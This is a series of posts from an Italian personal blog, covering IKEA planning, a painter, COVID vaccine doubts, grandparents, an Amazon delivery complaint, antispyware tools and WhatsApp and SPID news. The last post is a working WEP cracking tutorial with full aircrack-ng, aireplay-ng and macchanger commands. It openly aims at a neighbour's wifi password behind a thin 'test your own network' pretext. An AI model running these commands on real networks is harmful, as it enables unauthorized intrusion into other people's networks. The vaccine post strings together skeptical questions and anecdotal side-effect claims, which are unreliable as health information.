domenica 21 novembre 2021

Arredate da soli.

 

Per la serie io compero da IKEA vi sparo un programma semplice per progettare da casa vostra l’arredamento della vostra tana, se siete tipo arredo solo su progetto personalizzato andate dal Colombo che e’ un architetto favoloso, lui sa come dissanguare i vostri sudati risparmi e poi vi piazza una poltrona che non capirete se stravaccarvi sopra di lei o il contrario, accenderete la luce al posto di aprire l’acqua del water e torniamo a noi col programma IKEA Home Planner che e’ un modo semplice e divertente per progettare un’abitazione nell’ambiente vostro e col vostro PC ed eviterete gli acquisti affrettati e gli inevitabili errori a cui purtroppo quasi tutti gli IKEA-addicted sono ormai abituati.

Scoprite l’architrave che e‘ in voi con la comoda interfaccia, minimale come il design dei mobili IKEA, sara’ una goduria stratosferica poter trascinare armadi e divani da un angolo all’altro di una stanza senza alcuna fatica e vedere le vostre idee prendere corpo in 3D.
Potrete Disegnare lo spazio da arredare con pochi comandi e precisando le misure della stanza, trascinare porte e finestre al posto giusto e poi iniziare ad aggiungere i mobili, tutti presenti nell’ultimo catalogo IKEA, ovviamente.

Pertanto come vi ho detto non potrete personalizzarli piu’ di tanto in quanto a colori e materiali e quindi andate dal Colombo che vi pennellera’ lui con un progetto di appartamento equivalente allo stipendio di tre mesi dell’operaio catena di montaggio terzo turno festivi e pausa mensa compresi.
Ovviamente IKEA Home Planner vi permettera’ di salvare il progetto in un unico formato, o sul vostro computer o sul server IKEA (considerato che il programma e’ copiato paro paro appunto da IKEA ..senza fare nomi ovvio) per poterlo ritrovare e magari modificare quando andrete in negozio.

Potrete anche vedere i prezzi e stampare il progetto.

E non avrete sorprese una volta acquistati i mobili e IKEA ovviamente mi paga un tot ad ogni cliente che si presenta e dice che e’ stato togo29 a consigliarvi (togotuentinain e per gli amici Nain).E se schifate l'idea progettativa postata godetevi il vignettame dello Stefano sull'indifferenza e passate una buona Domenica ricordandovi che tra 33 giorni e qualche ora, sara' Natale.



venerdì 12 novembre 2021

BORASO L. PITTORE

 





Beh qualcuno mi sa dire chi e' questo pittore? Io ho trovato solo qualche esposizione nel 2014 Alla Santagostino di TO con stime sui 1.000€ e base d'asta da 300€, il tocco di pennello e' notevole e anche se non è il mio genere preferito tipo Norberto, Accardi, Boetti, questo pittore stranamente non ha fatto mostre e probabilmente non aveva mezzi per farsi notare.. anche la casa d'aste Meeting Art non trova notizie su Boraso L. e allora vi lascio alla solita striscia dello Stefano che stavolta ha preso di mira il probabile futuro Presidente...



mercoledì 10 novembre 2021

Mi vaccino o non mi vaccino, questo è il problema.


Mi rivolgo a quegli amici vaccinati che non capiscono gli scettici che ancora tentennano a vaccinarsi.  

Io mi sono vaccinato pur facendo parte degli indecisi.
Mentre tutti gridavano “andrà tutto bene” io mi ponevo semplici domande alle quali non ho trovato ancora risposta, ad esempio:
Perché un vaccino arrivato in stile hollywoodiano a -80 gradi, è stato inoculato con nonchalance sulle spiagge a +30 gradi?
Come mai ad un certo punto, come per magia, nello stesso giorno, alla stessa ora, dello stesso mese, 4 aziende di continenti diversi, contemporaneamente, iniziano la distribuzione di nuovi vaccini in tutto il mondo?
Come mai AstraZeneca ci dissero che doveva essere somministrato solo dopo i 50 anni, poi hanno cambiato idea “meglio 55”, “anzi no meglio sotto i 50”, poi ancora “no meglio sopra i 60”, ed infine dopo qualche mese ci dissero: “se vuoi puoi farlo anche a 19 anni”.
Come mai prima i bambini non dovevano essere vaccinati e oggi stanno vaccinando i bambini delle scuole materne?
Come mai all’inizio ci hanno detto che L'importante era “NON MISCHIARE MAI I VACCINI” e oggi a prescindere dal tipo di vaccino che hai fatto la terza dose sarà obbligatoriamente Pfizer?
Come mai prima hanno inoculato a milioni di italiani il vaccino AstraZeneca e poi hanno deciso di bloccarlo e di cedere la quota acquistata di vaccini al terzo mondo dopo aver cercato di farlo fuori negli open day?
Come mai il il vaccino Johnson & Johnson che è stato dato agli italiani promettendo una copertura di un anno ora siamo scesi a copertura massima due mesi?
Come mai se mi dite che il Pfizer mi copre per 9 mesi, il mio green pass è valido un anno?
Come mai ci sono televirologi che dicono di “stare sereni che non ci sono effetti collaterali gravi se non in piccolo dolore nel punto dell’iniezione” e l’AIFA il mese scorso ha tenuto ad evidenziare che “Le segnalazioni di effetti collaterali hanno un tasso di 120 eventi ogni 100.000 dosi somministrate, con un’incidenza di reazioni gravi pari al 14,4% del totale, per un tasso quindi di 17 eventi gravi ogni 100.000 dosi somministrate”.
E soprattutto Perché, nonostante in Italia ci siano già 10 vaccini obbligatori, il vaccino anti covid non è stato reso obbligatorio come gli altri, evitando così tutto questo caos e “guerre” interne tra gli italiani?
Ecco io da vaccinato al contrario di parte dei vaccinati, non sono in grado di avere certezze.
Allora qualcuno mi chiederà: Perché nonostante i dubbi ti sei vaccinato?

Ecco..che cazzo posso rispondere? Per poter andare al mare e non essere considerato come un untore? Oppure per poter andare da Palucci a mangiare le ostriche? Perchè faccio parte del gregge?Perchè mal comune mezzo gaudio? Perchè non voglio ricordare la fine del Talidomide?..boh
Ecco diciamo che mi sono vaccinato perchè sono un coglione, evitando accuratamente di ascoltare i miei dubbi su questo caso specifico e considerato che due vaccini non valgono nulla e scadono farò pure il terzo cercando di dimenticare quei sudori strani che ho avuto questa estate, quei battiti a 130 al minuto contro i miei normali 45, quell'eritema comparso in tutto il corpo la cui causa a detta della dermatologa Chiara è dovuta al sole e alla mia veneranda età.

Io so solo che da dodici anni non avevo fatto visite e analisi mediche e sono stato al sole sempre e purtroppo non lo potrò più fare (naso) e farò come tutti i cristiani della mia età semprechè non subentreranno altre malinconie e quindi mi farò dare il calendario dal macellaio e scriverò tutti gli appuntamenti per le visite mediche... prima o poi avrei dovuto aspettarmelo ma forse se non mi vaccinavo e dico forse, avrei potuto continuare a vivere.. maledetto Covid del menga.
Quindi concludo pensando che in fondo i non vaccinati sono persone intelligenti che si pongono solo più domande di quelle che ci non mi son posto io e sono convinto che se avranno risposte convincenti e soprattutto univoche si vaccineranno, ma non glielo consiglierò di certo.

domenica 10 ottobre 2021

Non ci crede nessuno..

 


Diciamo la verità nessuno crede in questo vaccino.
Non ci credono i no-vax (ma loro era scontato)
Non ci credano coloro che in passato si sono vaccinati per ogni possibile malattie (rosolia, morbillo, epatite, malaria, vaiolo ecc…) ma nonostante tutto di questo vaccino non ne vogliono sentir parlare.
Non ci crede il governo che avrebbe già potuto risolvere il problema mettendo il vaccino obbligatorio ma non lo fa perché non si fida di questo vaccino e ha paura che un domani a seguito di eventuali effetti collaterali i cittadini potrebbero richiedere i danni.
Non ci crede neppure chi si è vaccinato perché nonostante l’essersi vaccinati, per loro il covid potrebbe essere comunque contagioso quindi “ben vengano tutte le possibili restrizioni”.
Domani quando tutto sarà passato, mentre ci leccheremo le ferite, ci renderemo conto che in fondo ci avevano messo tutti contro tutti, nonostante sul vaccino avessimo tutti gli stessi dubbi.

In attesa di quello che succedera' il 15 ottobre 2021 solleviamo un poco lo spirito con le vignette dello Stefano..



domenica 3 ottobre 2021

Non ci sono piu' i nonni di una volta

 

nonni.jpg

E si ..i nonni non sono piu’ quelli di una volta. Piu’ passa il tempo e piu’ ringiovaniscono. Sara’ la pratica dell’allevamento nipoti che fa ’st’effetto qua. Il nipote fiacca il corpo ma rivitalizza il cervello e si sa che il cervello, per chi ce l’ha e’ una risorsa di vitalita’ straordinaria. Pero’ ci sono anche nonni che superati i 79 invece di smazzare a Villa Tapparelli, si dilettano sul Facebook o Twitterano come uccellini novelli, anziche’  guardare il “Pensioni in Rete” su Antenna25 .. si sintonizzano su Mtv, posano la Coppola Basco Aber e si cacciano in testa il cappellino Muhlbauer con visiera girata all’indietro tipo Aquile d’Attacco. E le nonne non sono da meno vedi la Carmen. Un tempo, superata la soglia dei 55 , scattava inesorabile la tintura dei capelli. Azzurra. Permanente, e una bella colata di gran turchese. Adesso non ci pensano nemmeno. Che i capelli azzurri se li faccia la Fata Turchina. Meglio tenersi la propria chioma grigio carlinga di Boeing e se tinta dev’essere che sia… O un bel rosso mogano Giovanna menopausa o un ganzo biondo stoppa che fa tanto fine e non impegna. Quando penso ai miei nonni, che son stati vecchi da subito a cinquant’anni, penso che in fondo io sono anche un po’ quello che son stati loro. Pare che ci vogliano almeno cinque generazioni prima che si perdano le caratteristiche genetiche. Quindi significa che io posseggo tracce del mio nonno bis. Infatti ho due palle cosi’ come lui, beh insomma non esageriamo.. non proprio cosi’ ma quasi dai. Una cosa mi ricordo bene. Non si incazzavano mai. E parlo di nonno Baldassarre non di nonno Gervaso, quello col mezzotoscano spento in bocca e la tabacchiera quella di osso nero e iniziali dorate con dentro il tabacco fine che ti faceva sternutire, ebbene si..lo confesso appena la mollava tiravo pure io da sbarbato e godevo come un falco a furia di sternuti, poi son passato alle canne fatte con fogli della prealpina giornale prettamente longobardo avvolgenti la barba del granturco..due cannate e ti sembrava di essere in paradiso non appena riprendevi fiato. Nonno Baldassarre era uno con le ultrapalle gestiva la sua fonderia e come ricordo ho l’Alberto da Giussano in fusione unica… la gestiva non da padrone ma da amico con i suoi dipendenti e nonostante il suo essere burbero era amato da tutti. Quando nonna Carmelina se n’e’ ita lui ha deciso che il suo treno era arrivato alla stazione e dopo il funerale ha sistemato tutte le sue carte si e’ sfilato la cintura e l’ha raggiunta. Oggi i nonni che dico io e non sono quelli dell’inizio e Voi cari eredi che fate rispettivamente 15/1 anni avete la sfiga di avere sette tipi di nonni/astri grazie ai vari divorzi, il primo (ego ) con la sindrome di Peterpan, mangia pane e computer e lo lascio perdere per convenienza, la seconda e’ giustificata con l’ubicazione distante..i terzi/quarti cazzo, quelli con la puzza sotto il naso che ho la fortuna exparentelare, hanno la Tata al culo, se cade un fazzoletto, suonano il campanello per farlo raccogliere e se per caso lo raccolgono, deve intervenire il dottore di famiglia con al seguito lo zio Vescovo (prete sarebbe troppo riduttivo) con tutti gli oli santi del caso.. curare il nipote che sta a due ville di distanza naaaaa loro hanno gia’ dato e se per caso occorre dare un’occhiata al nipotino.. bada bene che non sia il giorno del Bridge o della riunione del Clan dei Sopravvissuti 7 Generazione Seguaci di San Pancrazio (setta derivante dai legamenti crociati) la quinta rimasta sola (altrimenti sarebbero 8) è giramondo e per sesti e settimi non metto verbo in quanto non li ho mai visti e conosciuti.
Ci facciamo noi gli auguri (nonno 1 e astra 2)… e’ proprio vero e ci spiace per voi, non ci sono piu’ i nonni di una volta e se al due di ottobre festa dei nonni o grandparents day vi scorderete della ricorrenza sarete giustificati perche’ non farete altro che rendere pan per focaccia.
 


domenica 19 settembre 2021

Pacco non consegnato.

 


I tormenti del pacco capitalista:

Amazon, mail a vuoto e cinesi


Il capitalismo sostiene che tu abbia ricevuto un prodotto che hai ordinato online, ma tu non l’hai ricevuto.

Lo splendido e oliato meccanismo del consumo digitalmente

mediato (desiderio-pagamento smaterializzato-attesa-possesso) s’è inceppato.

Che fai?

Scrivi una mail al capitalismo (per modo di dire: in realtà compili un form sul suo sito, form che è stato concepito per scoraggiarti, ovvero per disincentivare i reclami.

Un menu a tendina ti indirizza verso il tuo caso particolare secondo un imbuto che prevede diverse possibilità:

articolo difettoso, arrivato in ritardo, trovato a un prezzo più vantaggioso…

Per selezionare “prodotto non consegnato ” devi discriminare,

discernere, cioè pensare:

(che è proprio ciò che ti si vorrebbe impedire di fare rendendotelo difficile).

In questo caso il capitalismo è Amazon, il cui padrone è quel Jeff Bezos (patrimonio stimato 205 miliardi di dollari) che a luglio 2021 ha fatto un giro di 4 minuti nello spazio nella sua navicella Blue Origin.

Mi scrive da un ufficio globalizzato una certa Veronica:

Dopo aver effettuato una verifica ”, è l’incipit di una mail

lunghissima, “ti informo che l’ordine per cui ci hai contattati

è venduto sul nostro sito da un venditore di terze parti.

Ti spiego Daniela (nome della malcapitata che ha acquistato prodotti mai consegnati), Amazon in questi casi è solo una vetrina per questi negozi.

Il venditore è l’unico responsabile per la vendita e la spedizione dei propri prodotti…è la persona migliore per rispondere alle tue richieste in maniera veloce ed esaustiva”.

Veronica, impiegata della multinazionale, mi sta scaricando.

Il venditore, rispondo piccata a Veronica, è quello che sostiene di avermi consegnato un articolo che non mi ha consegnato:

non mi pare il soggetto più affidabile per dirimere la questione.

Ma la casella di Veronica è no-reply, non accetta mail in entrata.

Per parlare col capitalismo devo ricompilare il form sul sito.

Un messaggio mi informa che non posso fare un reclamo se prima non contatto il venditore, che –apprendo – è un’azienda privata ubicata a Shenzhen,Cina.

Procedo.

Esso, nella persona di Agata, mi risponde dopo un po’ confermando che il prodotto è stato consegnato:

Risulta”.

A chi? C’è un’istanza superiore a me in grado di verificare l’effettuata consegna, che a me è sfuggita?

Metto in dubbio la consistenza epistemologica della mia convinzione:

davvero non l’ho ricevuto?

Non potrebbe darsi che io lo abbia ritirato con le mie mani da qualche corriere insieme ad altra corrispondenza e lo abbia inavvertitamente buttato?

Ricompilo il form, assicurando la mancata consegna.

Il venditore risponde (sulla mia mail: il nostro rapporto è totalmente

asimmetrico) che devo controllare presso i vicini di casa oppure all’ufficio postale.

Valuto l’ipotesi.

Sorge in me un dilemma etico:

è giusto far pagare a questo povero venditore, con quello che ha

passato la Cina nell’ultimo anno e mezzo, il costo di un prodotto che giace presso il mio ufficio postale, solo perché a me non va di andare a ritirarlo?

Dura un istante.

Mi si attiva il logo s: posto che l’azienda è presumibilmente una scatola dentro infinite scatole societarie, facendo l’ordine io non mi sono avvalsa di uno sconto con la promessa che sarei andata a ritirarlo alle poste.

Devo lavorare per loro?

Fatto sta che io in mano non ho nulla, mentre loro hanno i miei soldi (mi fanno intendere, con questa sottovalutazione del mio caso, che sono davvero pochi spiccioli: allora perché non me li ridanno?).

Faccio un po’ di manovre confuse e allora mi telefona Amazon,

nella persona di Pasquale, da telefono ubicato in Uxbridge,

Regno Unito.

È gentilissimo, addestrato a mandarla per le lunghe (io ho fretta, ho altri pensieri:

su questo contano, sul predominio della vita, a un certo punto, sopra la tigna e il tenere il punto del cliente; contano sul logoramento psicofisico), il quale mi spiega che è semplicissimo:

bisogna attendere che il venditore risponda, ma devo dargli 48 ore; al che il residuo logo s mi impone di chiedere:

e se non risponde? Pasquale, semplicemente sbigottito, nondimeno replica assertivamente che devo aspettare fino alla scadenza del termine massimo dei tempi di spedizione, che il venditore ha previsto lunghissimi apposta, di modo che (ma questa è una mia congettura) nel frattempo il cliente si dimentica o sperabilmente muore, e quand ’è così non che i parenti si mettono a esigere tutti gli ordini non ricevuti in vita dal de funto.

La questione comincia a farsi gravosa, politica:

magari il corriere è passato, ha suonato, ma io ero sotto la doccia e non ho sentito, e lui, poveraccio, ha scritto che aveva consegnato qualcosa che non ha consegnato, cosa strana perché i corrieri di Amazon mandano una mail pochi secondi dopo aver consegnato un pacco, e così per ognuna delle 200, 300 consegne che fanno al giorno, per 9 ore al giorno, per 6 giorni alla settimana, scendendo e salendo sul furgone centinaia di volte, urinando nelle bottiglie per non perdere un secondo; se consegnano poca merce, vengono

puniti; se ne consegnano troppa, il giorno dopo ne avranno di più nel furgone perché l’algoritmo ha stabilito che sono in grado di farlo.

Bezos paga zero dollari di tasse negli Usa, e in Europa ne paga pochissime perché le imposte sono sui profitti e non sui ricavi (basta investire molto);

io e i suoi corrieri lavoriamo tutto il giorno per lui, per risolvere questo che tecnicamente è un furto ai miei danni perpetrato da “terze parti”.

Lascia stare, mi consigliano amici e parenti, e in effetti mi converrebbe, ho già perso tre giorni, nei momenti meno opportuni mi arrivano telefonate dall’Albania o dall’Irlanda a cui rispondo sottoponendomi a una litania di premesse (“Stai lavorando?”: il capitalismo ti dà del tu perché ti ama.

Ti avviso che la chiamata potrebbe essere registrata”:

potrebbe?

Cosa ho fatto di male?

È chiaro che non si fidano di me e sperano che cada in contraddizione).

Scrive il venditore,

ribadendo che devo “controllare:

1 Casella postale domestica

2. Area d’ingresso

3 Dietro il prato

4. Vicinato”.

Ricontatto Amazon, furente (quanto costano i miei sentimenti?),

soprattutto perché non ho un prato.

Francesco mi telefona da Tallaght, Dublino, è dispiaciutissimo, si scusa a nome del capitalismo e dice che Amazon mi rimborserà (che avevo pensato?), poi mi manda una mail lunghissima con parole come “Dipartimento ”, “Tempistica”, “Contatta ”, “Problemi con l’ordine”.

Nel frattempo sullo schermo appare l’oggetto che avevo ordinato, e scopro di desiderarlo ancora, e anche se passo parte della giornata a leggere e a rispondere al telefono e alle mail sono a un passo dal cliccare su “Compralo di nuovo”.


Così ci riduce il consumismo, servi scemi e devoti della merce adorata, che arriva, o giace.


Questo è lo Psico-diario di una consegna mancata di

Daniela Ranieri

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Striscia domenicale dello Stefano 



lunedì 30 agosto 2021

La preghiera dell'Astice.

 

Ehi vacanzieri.. sono l'astice,

puoi vedermi in quella vasca davanti i tuoi occhi al supermercato, al ristorante,

sono stanco, sono depresso

non ho voglia di vivere

passo la mia giornata immobile

le mie chele sono legate

il mio cuore e’ infranto

vorrei piangere ma le mie lacrime non si noterebbero, l’acqua le fa sparire,

vorrei gridare, ma l’acqua non farebbe apprezzare il mio dolore

vorrei morire ora, ma Dio non permette che io lo faccia

vorrei chiedere a Dio perche’ io debba stare qui, ma potrebbe non rispondere

Soffro, soffro tantissimo

perche’ il grave destino mi ha portato qui?

Ogni giorno fermo nella mia posizione mi sveglio, ho passato una notte a sognare di cambiare acqua

quell’acqua che bollendo mi portera’ alla morte

il dolore sara’ tanto

ma mai paragonabile a quello che soffro ora

spero avvenga presto

non ce la faccio piu’ vorrei uccidermi, ma non posso

vi prego compratemi

fatemi finire questo dolore

fate che la mia anima sia di nuovo mia

e non di questa vasca che puzza di pesce marcio al Conad
di Casalcoso.

Ora lo Stefano in ferie ci ricorda la partenza del 5 stelle.


 

sabato 28 agosto 2021

Programmi antispyware per proteggere il tuo laptop.

 

 

Ti sei mai chiesto se sei spiato?

È certamente possibile che il tuo vicino o anche il governo ti stiano spiando, ma c’è anche un altro tipo di spionaggio di cui dovresti preoccuparti:

lo spyware.

Lo spyware è un file dannoso che si nasconde sul tuo computer e registra vari tipi di attività.

Lo spyware può rubare le tue informazioni finanziarie, password e persino registrare tutto ciò che digiti sulla tastiera.

Peggio ancora, lo spyware è in genere progettato per essere difficile da trovare, quindi potresti non rendertene nemmeno conto se non stai utilizzando gli strumenti antivirus giusti.

Strumenti gratuiti per la rimozione degli spyware..

  1. Panda Free Antivirus (Panda Dome gratuito)

  2. Antivirus gratuito AVG

  3. SUPERAntiSpyware

  4. Adaware Antivirus gratuito

  5. Comodo Anti-Malware BOClean

01. Panda Free Antivirus (Panda Dome gratuito)

Come affermato in precedenza, Panda è uno dei migliori programmi antivirus sul mercato con un buon riconoscimento del nome. Ha valutazioni elevate dal laboratorio di test indipendente AV-Comparative, dove ha ricevuto un perfetto 100 sulla sua capacità di rilevare software dannoso. Detto questo, ha ricevuto un 60 percento relativamente scarso quando si trattava di inviare falsi positivi, un’indicazione che il software adotta un approccio più pesante del necessario quando identifica il potenziale malware.

Ecco come Panda Free Antivirus si allinea ai criteri di valutazione:

  • Costo: gratuito a vita senza costi nascosti

  • Requisiti di iscrizione/download: Nessuno (richiede la creazione di un account opzionale che può essere rifiutato)

  • Sistemi operativi supportati: Windows XP – Windows 10, Android 4.0.3+

02. Antivirus gratuito AVG

strumenti gratuiti di rimozione dello spyware avg

Uno dei più grandi nomi nel settore dei software di sicurezza, lo strumento AVG Free Antivirus è disponibile da oltre un decennio e oggi è associato al popolare nome di Avast.

In quel periodo, l’azienda ha aggiunto un gran numero di aggiornamenti e funzionalità, molti dei quali sono bloccati dietro un paywall.

Tuttavia, puoi comunque utilizzare AVG gratuitamente per rimuovere spyware, malware, adware e altri file dannosi.

Ecco come AVG soddisfa i miei criteri:

  • Costo: gratuito a vita senza costi nascosti

  • Requisiti di iscrizione/download: Nessuno (richiede la creazione di un account opzionale che può essere rifiutato)

  • Sistemi operativi supportati: Windows 7 – 10, Mac OSX 10.8 Lion+, Android 2.2+

03. SUPERAntiSpyware

strumenti di rimozione dello spyware superantispyware

È abbastanza chiaro di cosa tratta SUPERAntiSpyware. Questo strumento è stato progettato specificamente per rimuovere malware, con un’enfasi sulle varianti di spyware. Secondo il suo sito Web, SUPERAntiSpyware è progettato per rimuovere malware, spyware, adware, trojan, worm, ransomware, keylogger, hijacker, rootkit e altro.

SUPERAntiSpyware si comporta bene con i criteri dell’elenco:

  • Costo: gratuito a vita senza costi nascosti

  • Requisiti di iscrizione/download: nessuno

  • Sistemi operativi supportati: Windows 8 – Windows 10

04. Adaware Antivirus gratuito

Sebbene non sia uno strumento particolarmente noto, Adaware Antivirus Free è una valida opzione per rimuovere lo spyware.

Adaware fornisce soluzioni antivirus a pagamento, ma il suo strumento gratuito include uno scanner e un dispositivo di rimozione antivirus, protezione del download e protezione antivirus in tempo reale per aiutare a prevenire eventuali infezioni future.

Ecco come Adaware Antivirus Free si confronta con i miei criteri:

  • Costo: gratuito a vita senza costi nascosti

  • Requisiti di iscrizione/download: Richiede il codice di iscrizione e di attivazione per la versione gratuita

  • Sistemi operativi supportati: Windows 7 – Windows 10

05. Comodo Anti-Malware BOClean

Sebbene sia un programma abbastanza semplice senza molte funzionalità aggiuntive, Comodo Free Anti-Malware BOClean offre una buona rimozione dello spyware e una protezione in tempo reale contro ulteriori infezioni.

Il software è anche ben valutato da laboratori di test indipendenti e da altre fonti di revisione del software.

Ecco le statistiche di base sullo strumento anti-malware gratuito di Comodo:

  • Costo: gratuito a vita senza costi nascosti

  • Requisiti di iscrizione/download: nessuno. Tuttavia, cerca di installare più programmi aggiuntivi, cambiare DNS e altre modifiche alle impostazioni non necessarie

  • Sistemi operativi supportati: Windows XP – 7

Conclusioni

Per anni, se volevi il miglior software antivirus, dovevi pagare per una vera protezione.

È vero che qualsiasi software antivirus gratuito mancava di alcune funzionalità fondamentali, come la protezione dalle frodi o il blocco dei collegamenti.

Oggi però le cose sono cambiate profondamente e anche un buon software anti-spyware gratuito ti può proteggere efficacemente.

mercoledì 25 agosto 2021

Aggiornamento WhatsApp in arrivo.

 


Dovrebbe mancare davvero poco all’arrivo sulla scena di un interessante aggiornamento WhatsApp per il pubblico iPhone e Android.

WhatsApp sta lavorando a una nuova funzionalità chiamata “reazioni ai messaggi“.

La funzionalità in sé non è nuova in quanto è disponibile anche su app di messaggistica popolari come Messenger, iMessage, Twitter e Instagram DM. WhatsApp sta ora testando questa funzionalità che è ancora nelle sue prime fasi di sviluppo.

Le reazioni ai messaggi su WhatsApp dovrebbero funzionare in modo simile ad altre app come Messenger e Twitter.

Quanto manca all’arrivo dell’aggiornamento WhatsApp con le reazioni ai messaggi

Puoi reagire a un messaggio con le emoji e quelle solitamente disponibili sono cuore, risata, rabbia, sorriso, mi piace o non mi piace.

Non sappiamo come saranno le reazioni ai messaggi su WhatsApp, ma WABetaInfo ha confermato che la funzione è in fase di test.

Uno screenshot fornito dal blog ha mostrato un messaggio che recita: “Hai ricevuto una reazione. Aggiorna la tua versione di WhatsApp per vedere le reazioni”.

Questo messaggio viene mostrato quando l’utente non ha quella particolare funzione sulla sua versione di WhatsApp. Ciò conferma che WhatsApp sta testando le reazioni ai messaggi e molto probabilmente ne vedremo di più nelle prossime settimane.

Si prevede inoltre che raggiungerà presto gli utenti beta di WhatsApp, come abbiamo visto con la maggior parte delle funzionalità in arrivo.

Difficile prevedere le tempistiche di arrivo dell’aggiornamento WhatsApp con le reazioni ai messaggi. Di solito, tra la prima apparizione in beta ed il rilascio ufficiale trascorre non meno di un mese.

Ora la SPID la farete anche durante la spesa.

 

Da Settembre il Codice Pin per entrare in INPS non sarà più valido e potrete entrare solo con l'Identità Digitale ovvero la SPID e quindi potrete attivarla andando in Posta oppure anche presso i supermercati Coop.

La sperimentazione è partita presso nei punti vendita di Firenze, ma a breve il servizio sarà esteso a tutti i punti vendita dell’intero territorio nazionale.

Il servizio SPID erogato da Coop si appoggia all’identity provider Namirial.

Come si attiva SPID con Coop?

Basta cercare online il punto vendita di proprio interesse (alla pagina www.e-coop.it/negozi-spid), seleziona dalla mappa il supermercato abilitato alla richiesta di SPID e poi cliccare su “Richiedi SPID in questo negozio”.

La procedura di avvia online e si conclude fisicamente presso il punto vendita selezionato, che sarà quello in cui ci si deve recare per l’autenticazione e l’attivazione dell’identità digitale.

Con una procedura guidata si forniscono i propri dati e contatti (servono codice fiscale, tessera sanitaria e un documento di riconoscimento italiano in corso di validità). Dopo la registrazione sul portale, si riceve una mail di riepilogo con le informazioni e i documenti da portare al punto vendita prescelto per richiedere lo SPID.

domenica 1 agosto 2021

Bucare reti Wireless.

 



Entrare nelle reti wifi di altri e’ illegale e fatta la premessa dobbiamo risolvere il fatto che in facolta’ i server fanno cagare veramente e il vicino di appartamento bastardo per che cavolo ha ficcato la pass.. quindi a livello studio vediamo di bucarla..o quantomeno tentiamo..

Armiamoci e partite prendete..

1) Un pc portatile con una scheda wireless compatibile con backtrack
2) Un dvd con backtrack che potete scaricare da qui
3) Pazienza e una chiave di rete wep

Inseriamo il dvd di backtrack e facciamolo partire prima di windows una volta terminato il caricamento scriviamo sul terminale: startx

In questo modo si avviera’ la modalità grafica, eccoci finalmente in backtrack.

Iniziamo subito, apriamo il terminale o meglio la console.

Digitiamo subito iwconfig e vediamo come si chiama la nostra scheda wireless (dovrebbe essere wlan0)

Assicuriamoci che il wireless sia spento e cambiamo il nostro indirizzo MAC (ma visto che stiamo testando la nostra rete casalinga non credo sia necessario -.-), scriviamo:

airmon-ng stop wlan0
scriviamo
ifconfig wlan0 down
scriviamo
macchanger -m 00:11:22:33:44:55 wlan0

Abbiamo cambiato il nostro indirizzo mac in 00:11:22:33:44:55 potete anche cambiarlo, l’importante e’ ricordarlo! Anche wlan0 puo’ cambiare dipende dalla scheda wireless.

Adesso accendiamo la scheda wireless scrivendo:
airmon-ng start wlan0

E iniziamo finalmente a scannerizzare la zona per cercare LA RETE DI CASA NOSTRA e digitiamo:
airodump-ng wlan0

Ora compare la schermata con tutte le reti wifi che il nostro pc riesce a rilevare, scegliamo quella che dobbiamo bucare IN QUESTO CASO QUELLA NOSTRA PERCHE’ DOBBIAMO TESTARLA.

Quindi una volta che compare la rete che ci interessa premiamo control+c e il processo dovrebbe stopparsi.

Ora prendiamo carta e penna e segniamo il canale (CH) il BSSID e anche l’ESSID della nostra rete.

Digitiamo adesso questo comando; (le parentesi dovranno essere sostituite con i vostri dati):

airodump-ng -c (CH) -w sme –bssid (BSSID) wlan0

In questo modo “spiamo” solo la nostra rete, quindi sostituite CH e BSSID con i vostri dati e dove c’e’ scritto sme potete lasciarlo cosi’ o mettere un nome qualunque, l’importante e’ che lo ricordiate.

Adesso apriamo un altra console/terminale e scriviamo:

aireplay-ng -1 0 -a (BSSID) -h 00:11:22:33:44:55 -e (ESSID) wlan0

se siete fortunati dovrebbe uscire scritto “autenticazione riuscita”; comunque date anche questo comando:

aireplay-ng -3 -b (BSSID) -h 00:11:22:33:44:55 wlan0

se tutto va per il verso giusto diamo il comando:

aircrack-ng -n 64 -b (BSSID) sme-01.cap

e dovrebbe comparire la chiave di rete; togliete i due punti che dividono a due a due la password e.. il buco e’ fatto.

Stretta la foglia, larga la via, bucate la vostra che io buco la mia.

Concludiamo il post con la striscia agostiniana dello Ste e l'illustrazione dei problemi famigliari..